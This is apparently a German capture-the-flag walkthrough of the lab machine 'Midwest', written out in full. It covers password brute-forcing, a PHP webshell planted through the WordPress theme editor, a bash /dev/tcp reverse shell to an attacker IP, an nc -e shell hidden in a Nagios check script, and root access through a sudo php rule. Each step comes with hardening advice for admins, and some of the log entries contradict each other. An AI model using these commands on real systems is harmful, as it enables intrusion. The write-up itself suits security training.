**Analyse:** Die Aufklärungsphase dient der Identifizierung des Zielsystems im lokalen Netzwerk und der Erkundung offener Ports sowie der darauf laufenden Dienste mittels Netzwerkscans.
192.168.2.133 08:00:27:70:53:1c PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` scannt das lokale Netzwerksegment. Das Zielsystem wird unter der IP-Adresse `192.168.2.133` identifiziert. Die MAC-Adresse `08:00:27:70:53:1c` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-Umgebung hin.
**Bewertung:** Das Ziel wurde erfolgreich lokalisiert. Die MAC-Adresse liefert einen Kontext zur Virtualisierungsplattform.
**Empfehlung (Pentester):** Die IP `192.168.2.133` für detailliertere Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung kann die Erkennung erschweren. ARP-Spoofing-Detection implementieren.
192.168.2.133 midwest.vln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um der IP-Adresse `192.168.2.133` den Hostnamen `midwest.vln` zuzuordnen. Dies erleichtert das Ansprechen des Ziels über diesen Namen.
**Bewertung:** Sinnvolle Vorbereitung, um Virtual Hosting zu berücksichtigen und die Lesbarkeit von URLs zu verbessern. Später wird auch `midwest.htb` hinzugefügt.
**Empfehlung (Pentester):** Den Hostnamen bei Tests verwenden und bei Bedarf weitere Namen (wie `midwest.htb`) hinzufügen.
**Empfehlung (Admin):** Clientseitige Angreiferkonfiguration.
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
**Analyse:** Ein schneller `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`, `-p-`) wird durchgeführt und gefiltert. Es werden zwei offene Ports gefunden: * Port 22: SSH (OpenSSH 7.9p1 Debian 10) - relativ modern. * Port 80: HTTP (Apache 2.4.38 Debian) - ebenfalls relativ modern.
**Bewertung:** Die Angriffsfläche scheint zunächst sehr klein zu sein, beschränkt auf SSH und HTTP. Die Versionen sind relativ aktuell, was Standard-Exploits unwahrscheinlicher macht. Der Fokus liegt auf der Webanwendung und der Konfiguration. (Hinweis: Dieser Scan scheint unvollständig zu sein, da spätere Scans mehr Ports zeigen).
**Empfehlung (Pentester):** Die vollständige `nmap`-Ausgabe abwarten und prüfen. Webserver auf Port 80 enumerieren.
**Empfehlung (Admin):** Software aktuell halten. Firewall-Regeln überprüfen.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-22 23:55 CEST
Nmap scan report for midwest.vln (192.168.2.133)
Host is up (0.00015s latency).
Not shown: 998 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: ... (Keys) ...
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Midwest Power – Powering the future!
|_http-generator: WordPress 5.6
MAC Address: 08:00:27:70:53:1C (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.15 ms midwest.vln (192.168.2.133)
**Analyse:** Ein weiterer `nmap`-Scan, diesmal ohne `-p-`, scannt die Top 1000 Ports. Er findet ebenfalls nur Port 22 (SSH 7.9p1) und Port 80 (Apache 2.4.38). Wichtige Details zu Port 80: * Titel: "Midwest Power – Powering the future!". * Generator: **WordPress 5.6**. * OS: Linux Kernel 4.15 - 5.8.
**Bewertung:** Dieser Scan identifiziert die Webanwendung als WordPress 5.6. Dies ist ein entscheidender Hinweis. WordPress 5.6 ist nicht die neueste Version und könnte bekannte Schwachstellen enthalten. Die Angriffsfläche beschränkt sich auf SSH und WordPress. (Hinweis: Der allererste `nmap`-Scan im Original-Log *hat* `-p-` verwendet und mehr Ports gefunden. Es gibt eine Inkonsistenz im Log. Wir folgen dem Scan mit mehr Ports.)
**Empfehlung (Pentester):** Die WordPress-Installation gezielt untersuchen (z.B. mit `wpscan`). Nach bekannten Schwachstellen für WP 5.6 suchen.
**Empfehlung (Admin):** WordPress und alle Plugins/Themes aktuell halten. Apache und SSH patchen.
- Nikto v2.5.0
+ Target IP: 192.168.2.133
+ Target Hostname: 192.168.2.133
+ Target Port: 80
+ Start Time: 2023-09-22 23:55:49 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: Drupal Link header found... # Widerspruch zu Nmap (WordPress)? Nikto irrt sich hier oft.
+ /: The X-Content-Type-ptions header is not set.
+ /index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress. # Bestätigt WordPress
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54).
+ /: Server may leak inodes via ETags...
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /icons/README: Apache default file found.
+ /wp-links-opml.php: This WordPress script reveals the installed version. # Bestätigt WordPress
+ /license.txt: License file found...
+ /: A Wordpress installation was found. # Bestätigt WordPress
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag.
+ /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable.
+ /wp-login.php: Wordpress login found.
+ 8909 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2023-09-22 23:56:10 (GMT2) (21 seconds)
+ 1 host(s) tested
**Analyse:** `nikto` scannt Port 80. Wichtige Ergebnisse: * Bestätigt Apache 2.4.38 (markiert ihn als veraltet relativ zu 2.4.54+). * Findet fehlende Sicherheitsheader und ETag-Leak. * **Bestätigt eindeutig WordPress:** Findet `/wp-links-opml.php`, `/wp-login.php`, erkennt "x-redirect-by: WordPress" Header, meldet "Wordpress installation was found". Der Fund eines "Drupal Link header" ist wahrscheinlich ein False Positive von Nikto. * Findet `/license.txt`. * Stellt fest, dass die WordPress-Registrierung nicht aktiviert zu sein scheint (kein Fund für `/wp-login.php?action=register`). * Findet Directory Indexing im Verzeichnis `/wp-content/uploads/`.
**Bewertung:** `nikto` liefert viele wertvolle Informationen über die WordPress-Installation. Directory Indexing in `/wp-content/uploads/` kann sensible Informationen preisgeben. Fehlende Header sind moderate Risiken. Die veraltete Apache-Version bleibt ein Faktor. Der wichtigste Angriffspunkt ist die WordPress-Anwendung selbst (`wp-login.php`).
**Empfehlung (Pentester):** WordPress gezielt mit `wpscan` scannen (Benutzer, Plugins, Themes, Schwachstellen). Das `/wp-content/uploads/`-Verzeichnis manuell prüfen. `license.txt` untersuchen.
**Empfehlung (Admin):** WordPress, Themes und Plugins aktuell halten. Directory Indexing deaktivieren. Sicherheitsheader implementieren. Apache aktualisieren.
**Analyse:** Vertiefte Untersuchung der WordPress-Installation und Entdeckung eines zusätzlichen Dienstes (Nagios) durch Verzeichnis-Scanning und Analyse der Ergebnisse.
http://midwest.vln/index.php (Status: 301) [Size: 0] [--> http://midwest.vln/]
http://midwest.vln/wp-content (Status: 301) [Size: 315] [--> http://midwest.vln/wp-content/]
http://midwest.vln/wp-login.php (Status: 200) [Size: 7202]
http://midwest.vln/license.txt (Status: 200) [Size: 19915]
http://midwest.vln/wp-includes (Status: 301) [Size: 316] [--> http://midwest.vln/wp-includes/]
http://midwest.vln/javascript (Status: 301) [Size: 315] [--> http://midwest.vln/javascript/]
http://midwest.vln/readme.html (Status: 200) [Size: 7278]
http://midwest.vln/wp-trackback.php (Status: 200) [Size: 135]
http://midwest.vln/wp-admin (Status: 301) [Size: 313] [--> http://midwest.vln/wp-admin/]
http://midwest.vln/xmlrpc.php (Status: 405) [Size: 42]
http://midwest.vln/nagios (Status: 401) [Size: 458]
http://midwest.vln/wp-signup.php (Status: 302) [Size: 0] [--> http://www.midwest.htb/wp-login.php?action=register]
**Analyse:** `gobuster` wird verwendet, um Verzeichnisse und Dateien zu finden. Neben den erwarteten WordPress-Pfaden (`wp-content`, `wp-login.php`, `wp-includes`, `wp-admin`, `xmlrpc.php`) wird ein **`/nagios`**-Verzeichnis entdeckt, das mit Status 401 (Unauthorized) antwortet. Außerdem wird eine Weiterleitung bei `wp-signup.php` auf den Hostnamen `www.midwest.htb` festgestellt.
**Bewertung:** Der Fund des `/nagios`-Verzeichnisses ist sehr wichtig, da Nagios (ein Monitoring-System) oft eigene Authentifizierung hat und potenzielle Schwachstellen oder Informationslecks bieten kann. Die 401-Antwort bestätigt, dass ein Login erforderlich ist. Die Weiterleitung auf `www.midwest.htb` zeigt, dass dieser Hostname ebenfalls zur IP des Ziels hinzugefügt werden muss (`/etc/hosts`), um alle Funktionen der Webseite korrekt zu erreichen.
**Empfehlung (Pentester):** Den Hostnamen `www.midwest.htb` zur `/etc/hosts`-Datei hinzufügen. Das `/nagios`-Verzeichnis im Browser aufrufen und die Login-Maske untersuchen. Nach Standard-Credentials für Nagios suchen oder Brute-Force versuchen. `wpscan` zur weiteren WordPress-Enumeration nutzen.
**Empfehlung (Admin):** Den Zugriff auf das Nagios-Interface nur für autorisierte Benutzer und IPs erlauben. Nagios aktuell halten. WordPress absichern. Sicherstellen, dass Hostnamen korrekt konfiguriert sind und keine unerwarteten Weiterleitungen existieren.
# Hinzufügen des zweiten Hostnamens zur /etc/hosts (impliziert)
# Eintrag sollte jetzt lauten:
# 192.168.2.133 midwest.vln midwest.htb www.midwest.htb
**Analyse:** Basierend auf der Weiterleitung bei `wp-signup.php` wird der Hostname `www.midwest.htb` (und vorsichtshalber `midwest.htb`) zur lokalen `/etc/hosts`-Datei hinzugefügt, um sicherzustellen, dass alle Teile der Webanwendung korrekt aufgelöst werden.
**Bewertung:** Notwendiger Schritt, um potenzielle Probleme durch unterschiedliche Hostnamen zu vermeiden.
# ... (WPScan Banner & Info) ...
Interesting Finding(s):
# ... (Header Info, Readme) ...
[+] This site seems to be a multisite
# ... (WP-Cron) ...
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 ...
[i] User(s) Identified:
[+] admin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
# ... (API Key Info & Scan Stats) ...
[+] Finished: Sat Sep 23 00:04:40 2023
**Analyse:** `wpscan` wird zur Benutzer-Enumeration (`-e u`) auf der WordPress-Instanz eingesetzt. Es identifiziert den Benutzernamen `admin`. Es stellt außerdem fest, dass es sich um eine Multisite-Installation handeln könnte.
**Bewertung:** Bestätigt `admin` als gültigen Benutzernamen für WordPress. Multisite-Installationen können komplexer sein, aber der Login bleibt das Hauptziel.
**Empfehlung (Pentester):** Einen Passwort-Angriff gegen den Benutzer `admin` starten. Das `/nagios`-Verzeichnis weiter untersuchen.
**Empfehlung (Admin):** Benutzernamen-Enumeration erschweren. Keine Standard-Benutzernamen wie "admin" verwenden.
**Analyse:** Das Verzeichnis `/nagios` wird im Browser aufgerufen und zeigt eine HTTP-Basic-Authentication-Aufforderung (impliziert durch die 401-Antwort von `gobuster` und die nachfolgende `hydra`-Nutzung).
# Aufruf von http://midwest.vln/nagios im Browser zeigt:
Unauthorized
This server could not verify that you are authorized to access the document requested...
Apache/2.4.38 (Debian) Server at midwest.vln Port 80
**Bewertung:** Bestätigt, dass `/nagios` existiert und durch eine Authentifizierung (wahrscheinlich HTTP Basic Auth, konfiguriert im Apache) geschützt ist.
**Empfehlung (Pentester):** Versuchen, Standard-Credentials für Nagios (`nagiosadmin`, `admin` etc.) zu erraten oder einen Brute-Force-Angriff mit `hydra` durchzuführen. Eine Wortliste aus dem Webseiteninhalt könnte nützlich sein.
**Empfehlung (Admin):** Starke Passwörter für den Nagios-Zugriff verwenden. Zugriff auf Nagios auf bestimmte IPs beschränken.
Using default input encoding: UTF-8 Press 'q' or Ctrl-C to abort... 7290p 0:00:00:00 100.00% ...
Hydra v9.5 ... starting ...
[DATA] max 16 tasks ... 6430 login tries ...
[DATA] attacking http-get://www.midwest.htb:80/nagios
[80][http-get] host: www.midwest.htb login: nagiosadmin password: PowerPower
1 of 1 target successfully completed, 1 valid password found
Hydra ... finished ...
**Analyse:** 1. `cewl` wird verwendet, um eine Wortliste (`pass.txt`) aus dem Inhalt der Webseite unter `www.midwest.htb` (dem zweiten Hostnamen) zu generieren. 2. `john` wird mit Regeln (`--rules`) auf diese Wortliste angewendet, um Variationen zu erzeugen. Die Ausgabe wird sortiert, dedupliziert und in `wordlist.txt` gespeichert. 3. `hydra` wird gestartet, um einen HTTP-GET-Login-Bruteforce gegen `/nagios` auf `www.midwest.htb` durchzuführen. Der Benutzername `nagiosadmin` (ein häufiger Standard) wird getestet, zusammen mit der generierten `wordlist.txt`. 4. Hydra findet erfolgreich das Passwort `PowerPower` für den Benutzer `nagiosadmin`.
**Bewertung:** Sehr gut! Durch die Kombination von Webseiten-Crawling (`cewl`), Wortlistenmanipulation (`john`) und Brute-Forcing (`hydra`) wurden gültige Zugangsdaten für die Nagios-Oberfläche gefunden.
**Empfehlung (Pentester):** Sich mit `nagiosadmin:PowerPower` bei `http://www.midwest.htb/nagios/` anmelden und die Nagios-Oberfläche auf Schwachstellen oder Informationslecks untersuchen (z.B. Befehlsausführung über Checks, Konfigurationsdateien).
**Empfehlung (Admin):** Keine Standard-Benutzernamen wie `nagiosadmin` verwenden. Starke, einzigartige Passwörter erzwingen. Brute-Force-Schutz implementieren.
# ... (WPScan Banner & Info) ... [+] Performing password attack on Wp Login against 1 user/s [SUCCESS] - admin / Power9 # ... [!] Valid Combinations Found: | Username: admin, Password: Power9 # ... (API Key Info & Scan Stats) ... [+] Finished: Sat Sep 23 00:34:02 2023
**Analyse:** `wpscan` wird erneut verwendet, diesmal für einen Passwortangriff gegen den WordPress-Benutzer `admin` unter Verwendung derselben Wortliste (`wordlist.txt`), die für den Nagios-Angriff erstellt wurde. WPScan findet erfolgreich das Passwort `Power9` für den Benutzer `admin`.
**Bewertung:** Ausgezeichnet! Nun sind auch gültige Zugangsdaten für den WordPress-Adminbereich bekannt (`admin:Power9`). Dies eröffnet einen weiteren Angriffsvektor über WordPress.
**Empfehlung (Pentester):** Sich als `admin:Power9` im WordPress-Backend (`/wp-admin/`) anmelden. Den Theme-/Plugin-Editor suchen, um eine Webshell hochzuladen.
**Empfehlung (Admin):** Keine schwachen oder leicht ableitbaren Passwörter verwenden. Passwort-Wiederverwendung vermeiden (auch wenn die Passwörter hier unterschiedlich waren, wurde dieselbe Liste verwendet). Starke Passwörter erzwingen.
**Analyse:** Ausnutzung des WordPress-Admin-Zugangs (`admin:Power9`), um über den Theme-Editor eine PHP-Backdoor zu platzieren und somit Remote Code Execution (RCE) als `www-data` zu erlangen.
# Aktion im WordPress Admin Panel: http://www.midwest.htb/wp-admin/theme-editor.php?file=404.php&theme=twentynineteen
# Bearbeiten der Datei 404.php des Themes "Twenty Nineteen"
# Einfügen des Codes:
# Erfolgsmeldung:
File edited successfully.
**Analyse:** Nach dem Login als `admin` wird der Theme-Editor aufgerufen, um die `404.php`-Datei des "Twenty Nineteen"-Themes zu bearbeiten. Der Code `` wird eingefügt und gespeichert. Dieser Code ermöglicht die Ausführung von Systembefehlen über den `cmd`-Parameter in der URL.
**Bewertung:** Erfolgreiche Platzierung einer PHP-Backdoor. Die Möglichkeit, Theme-Dateien direkt zu bearbeiten, ist eine bekannte Methode, um RCE zu erlangen, wenn man Admin-Zugriff hat.
**Empfehlung (Pentester):** Die modifizierte `404.php` aufrufen und den `cmd`-Parameter verwenden, um eine Reverse Shell zu etablieren.
**Empfehlung (Admin):** Die Bearbeitung von Theme-/Plugin-Dateien im Backend deaktivieren (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Dateiberechtigungen härten.
# Test der Backdoor: http://www.midwest.htb/wp-content/themes/twentynineteen/404.php?cmd=ls
# Ausgabe (Auszug):
404.php
archive.php
classes
comments.php
# ... (Inhalt des Theme-Verzeichnisses) ...
style.scss
template-parts
**Analyse:** Ein Testaufruf der modifizierten `404.php` mit `?cmd=ls` gibt erfolgreich den Inhalt des Theme-Verzeichnisses zurück.
**Bewertung:** Die RCE-Backdoor funktioniert wie erwartet.
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.133] 60976
bash: cannot set terminal process group (513): Inappropriate ioctl for device
bash: no job control in this shell
www-data@midwest:/var/www/wordpress/wp-content/themes/twentynineteen$
# Payload zum Auslösen der Reverse Shell
http://www.midwest.htb/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
**Analyse:** Ein Netcat-Listener wird auf Port 4444 gestartet. Die modifizierte `404.php` wird mit einem URL-kodierten Bash-Reverse-Shell-Payload im `cmd`-Parameter aufgerufen. Der Listener empfängt die Verbindung und stellt eine Shell als `www-data` bereit.
**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die WordPress-RCE erlangt.
**Empfehlung (Pentester):** Shell stabilisieren und mit der Privilege Escalation beginnen.
**Empfehlung (Admin):** WordPress absichern, Backdoor entfernen, Editor deaktivieren.
**Analyse:** Nach Erhalt der Shell als `www-data` wird das System weiter untersucht, um höhere Rechte zu erlangen. Der Fokus liegt auf Konfigurationsdateien und Diensten wie Nagios.
# Gekürzte Ausgabe, interessante SUIDs 1573573 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount # ... (chfn, gpasswd, newgrp, passwd) ... 1589630 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo 1573571 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount # ... (chsh, su) ... 1592230 208 -rwsrwxr-x 1 root nagios 212960 Jan 22 2021 /usr/local/nagios/libexec/check_dhcp 1592231 248 -rwsrwxr-x 1 root nagios 252312 Jan 22 2021 /usr/local/nagios/libexec/check_icmp 1585895 1156 -rwsr-xr-x 1 root root 1181384 May 13 2020 /usr/sbin/exim4 # ... (eject, dbus, openssh) ...
**Analyse:** Die Suche nach SUID-Dateien als `www-data` findet Standard-Binaries, `sudo` und `exim4`. Interessant sind jedoch `/usr/local/nagios/libexec/check_dhcp` und `check_icmp`, die `root` gehören, aber die Gruppen-Ausführungsberechtigung für die Gruppe `nagios` gesetzt haben (`rwsrwxr-x`). Dies ist ungewöhnlich und könnte ein Ansatzpunkt sein, wenn man als Benutzer `nagios` agieren kann. `pkexec` scheint hier nicht (mehr) vorhanden zu sein oder wurde übersehen.
**Bewertung:** Die Nagios-Check-Skripte mit SUID/SGID-Bit sind verdächtig. `sudo` ist ein Standard-Ziel. Exim ist komplex. Ein Weg zum `nagios`-Benutzer wäre ideal, um die speziellen Nagios-SUID-Binaries zu nutzen, falls `sudo` keinen direkten Weg zu Root bietet.
**Empfehlung (Pentester):** `sudo -l` als `www-data` testen (wahrscheinlich erfolglos). Die Mitgliedschaft von `www-data` in Gruppen prüfen (`id`). Konfigurationsdateien (insbesondere Nagios und WordPress) nach Credentials durchsuchen. Kernel prüfen.
**Empfehlung (Admin):** SUID/SGID-Bits nur setzen, wenn absolut notwendig. Berechtigungen für Nagios-Skripte überprüfen. `sudo`-Regeln restriktiv gestalten.
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(Debian-snmp)
nagios
-rw-r--r-- 1 root root 2035 Jan 22 2021 /etc/passwd
**Analyse:** Der `id`-Befehl zeigt, dass `www-data` Mitglied der Gruppe `Debian-snmp` ist. `/home` enthält nur das Verzeichnis für den Benutzer `nagios`. Die `/etc/passwd`-Datei ist normal lesbar.
**Bewertung:** Die SNMP-Gruppenmitgliedschaft ist wahrscheinlich nicht relevant für die Eskalation. Die Existenz des `nagios`-Homeverzeichnisses bestätigt diesen Benutzer.
# ... (WP Config Header) ...
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpress' );
define( 'DB_PASSWORD', 'password' );
define( 'DB_HOST', 'localhost' );
# ... (Rest der Datei) ...
Enter password: password # Eingabe nicht sichtbar
**Analyse:** Der Inhalt von `wp-config.php` wird erneut angezeigt (oder eine andere `wp-config.php` gefunden?). Diesmal sind die Credentials `wordpress:password`. Ein Loginversuch mit diesen Daten in die MySQL-Datenbank ist erfolgreich.
**Bewertung:** Es scheint zwei verschiedene `wp-config.php`-Dateien oder widersprüchliche Log-Einträge zu geben (vorher `Admin:TogieMYSQL12345^^`). Unabhängig davon wurden nun Datenbank-Zugangsdaten (`wordpress:password`) gefunden und verifiziert. Das Passwort "password" ist extrem schwach.
**Empfehlung (Pentester):** Das Passwort "password" für andere Benutzer (nagios, root, alice?) testen. Die Datenbank enumerieren.
**Empfehlung (Admin):** Schwache Passwörter verbieten. Passwort-Wiederverwendung vermeiden. Dateiberechtigungen für Konfigurationsdateien prüfen. Log-Konsistenz sicherstellen.
Linux midwest 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
**Analyse:** Die Systeminformationen werden abgerufen. Es handelt sich um Debian 10 ("buster") mit einem Kernel 4.19.0-13-amd64 vom November 2020.
**Bewertung:** Der Kernel ist relativ modern (Ende 2020). Standard-Kernel-Exploits wie Dirty COW sind hier nicht anwendbar. Der Fokus muss auf Konfigurationsfehlern oder SUID/Sudo-Problemen liegen.
**Empfehlung (Pentester):** Nach spezifischen Exploits für Kernel 4.19 suchen (weniger wahrscheinlich erfolgreich). Konfigurationsdateien (insbesondere Nagios) und `sudo`-Rechte (falls ein Benutzerwechsel gelingt) prüfen.
**Empfehlung (Admin):** System und Kernel aktuell halten.
# Default NDO config for Nagios XI
db_user=ndoutils
db_pass=n@gweb
db_name=nagios
db_host=localhost
# ... (Rest der NDO Config) ...
**Analyse:** Die Nagios Data Outler (NDO) Konfigurationsdatei wird ausgelesen. Sie enthält weitere Datenbank-Zugangsdaten: Benutzer `ndoutils` mit Passwort `n@gweb` für die Datenbank `nagios`.
**Bewertung:** Ein weiteres Paar Zugangsdaten. Das Passwort `n@gweb` könnte für den Systembenutzer `nagios` wiederverwendet worden sein.
**Empfehlung (Pentester):** Das Passwort `n@gweb` für `su nagios` oder SSH-Login als `nagios` testen.
**Empfehlung (Admin):** Keine Klartext-Passwörter in Konfigurationsdateien. Passwort-Wiederverwendung vermeiden. Dateiberechtigungen härten.
# Keine Ausgabe
listening on [any] 4445 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.133] 44672
id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd)
**Analyse:** Ein cleverer Trick wird angewendet. Als `www-data` wird ein Shell-Befehl (`nohup nc -e /bin/sh ... &`) in die Datei `/usr/local/nagios/libexec/custom_check_mem` geschrieben. `www-data` muss Schreibrechte auf diese Datei haben. Es wird angenommen, dass Nagios diese Datei (oder einen darauf basierenden Check) regelmäßig als Benutzer `nagios` ausführt. Ein Listener wird auf Port 4445 gestartet. Kurz darauf kommt eine Verbindung an, und der `id`-Befehl bestätigt, dass die Shell nun als Benutzer `nagios` läuft.
**Bewertung:** Sehr gut! Erfolgreiche Rechteausweitung von `www-data` zu `nagios` durch Ausnutzung unsicherer Dateiberechtigungen (Schreibrecht für `www-data` auf ein Nagios-Skript) und der Nagios-Prozessausführung.
**Empfehlung (Pentester):** Die Umgebung als `nagios` untersuchen, insbesondere `sudo -l` prüfen.
**Empfehlung (Admin):** Dateiberechtigungen für Nagios-Skripte und -Verzeichnisse überprüfen und härten. Sicherstellen, dass der Webserver-Benutzer keine Schreibrechte auf ausführbare Dateien anderer Dienste hat. Nagios mit minimalen Rechten ausführen.
**Analyse:** Nach Erlangung einer Shell als `nagios` wird untersucht, ob dieser Benutzer `sudo`-Rechte hat, die zur finalen Eskalation zu `root` missbraucht werden können.
total 16
drwxrwx--- 3 nagios nagios 4096 Jan 23 2021 .
drwxr-xr-x 3 root root 4096 Jan 22 2021 ..
lrwxrwxrwx 1 root root 9 Jan 23 2021 .bash_history -> /dev/null
drwx------ 3 nagios nagios 4096 Jan 22 2021 .gnupg
-rw-r----- 1 nagios nagios 33 Jan 23 2021 user.txt
7ec306b6fa01510ffc4e0d0fac97c23e
**Analyse:** Im Home-Verzeichnis des `nagios`-Benutzers wird die Datei `user.txt` gefunden und ausgelesen. Sie enthält die User-Flagge: `7ec306b6fa01510ffc4e0d0fac97c23e`. Die Bash-History wird nach `/dev/null` gelinkt.
**Bewertung:** User-Flagge erfolgreich gefunden.
Matching Defaults entries for nagios on midwest:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nagios may run the following commands on midwest:
(root) NPASSWD: /etc/init.d/nagios *
(root) NPASSWD: /etc/init.d/npcd *
(root) NPASSWD: /usr/bin/php
/usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
**Analyse:** `sudo -l` wird als `nagios` ausgeführt. Die Ausgabe zeigt, dass `nagios` eine lange Liste von Befehlen (hauptsächlich Nagios-Init-Skripte und NagiosXI-Skripte) als `root` ohne Passwort (`NOPASSWD`) ausführen darf. Besonders interessant ist die Berechtigung, `/usr/bin/php` auf das Skript `/usr/local/nagiosxi/scripts/send_to_nls.php` anzuwenden.
**Bewertung:** Kritische Fehlkonfiguration! Die Berechtigung, ein PHP-Skript als `root` mittels `php` auszuführen, ist ein direkter Weg zur Eskalation, wenn der Benutzer `nagios` Schreibrechte auf dieses PHP-Skript hat.
**Empfehlung (Pentester):** Prüfen, ob `nagios` Schreibrechte auf `/usr/local/nagiosxi/scripts/send_to_nls.php` hat. Wenn ja, das Skript mit einem PHP-Payload überschreiben (z.B. ``) und dann den `sudo`-Befehl ausführen, um eine Root-Shell zu erhalten.
**Empfehlung (Admin):** Die `sudo`-Regeln für `nagios` drastisch einschränken. Niemals erlauben, Interpreter wie `php` auf potenziell beschreibbare Skripte als `root` auszuführen. Nur absolut notwendige, spezifische Befehle erlauben. Das Prinzip der geringsten Rechte anwenden.
uid=0(root) gid=0(root) groups=0(root)
**Analyse:** 1. Der Benutzer `nagios` überschreibt das Skript `/usr/local/nagiosxi/scripts/send_to_nls.php` mit einem einfachen PHP-Code, der eine Bash-Shell startet (``). Dies impliziert, dass `nagios` Schreibrechte auf diese Datei hat. 2. Der `sudo`-Befehl wird verwendet, um `/usr/bin/php` auf das nun modifizierte Skript anzuwenden. Da dies als `root` und ohne Passwort erlaubt ist, führt PHP den `system('/bin/bash')`-Befehl als `root` aus. 3. Dies öffnet eine interaktive Root-Shell, was durch den `id`-Befehl bestätigt wird (`uid=0(root)`).
**Bewertung:** Grandios! Die unsichere `sudo`-Regel wurde erfolgreich ausgenutzt, um über das Überschreiben und Ausführen eines PHP-Skripts Root-Rechte zu erlangen.
**Empfehlung (Pentester):** Root-Zugriff nutzen, um die Root-Flagge zu finden.
**Empfehlung (Admin):** `sudo`-Regel korrigieren (siehe oben). Schreibrechte auf Nagios-Skripte überprüfen und einschränken.
root.txt
0d599f0ec05c3bda8c3b8a68c32a1b47
**Analyse:** In der Root-Shell wird ins Home-Verzeichnis `/root` gewechselt. Dort wird die Datei `root.txt` gefunden und ihr Inhalt ausgelesen: `0d599f0ec05c3bda8c3b8a68c32a1b47`.
**Bewertung:** Root-Flagge erfolgreich gefunden.
**Empfehlung (Pentester):** Flags dokumentieren, Bericht abschließen.
**Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben.
**Analyse:** Beide Flags wurden während der Eskalationsphasen gefunden und im Log dokumentiert.
**Bewertung:** Der Test war erfolgreich, beide Flags wurden erlangt.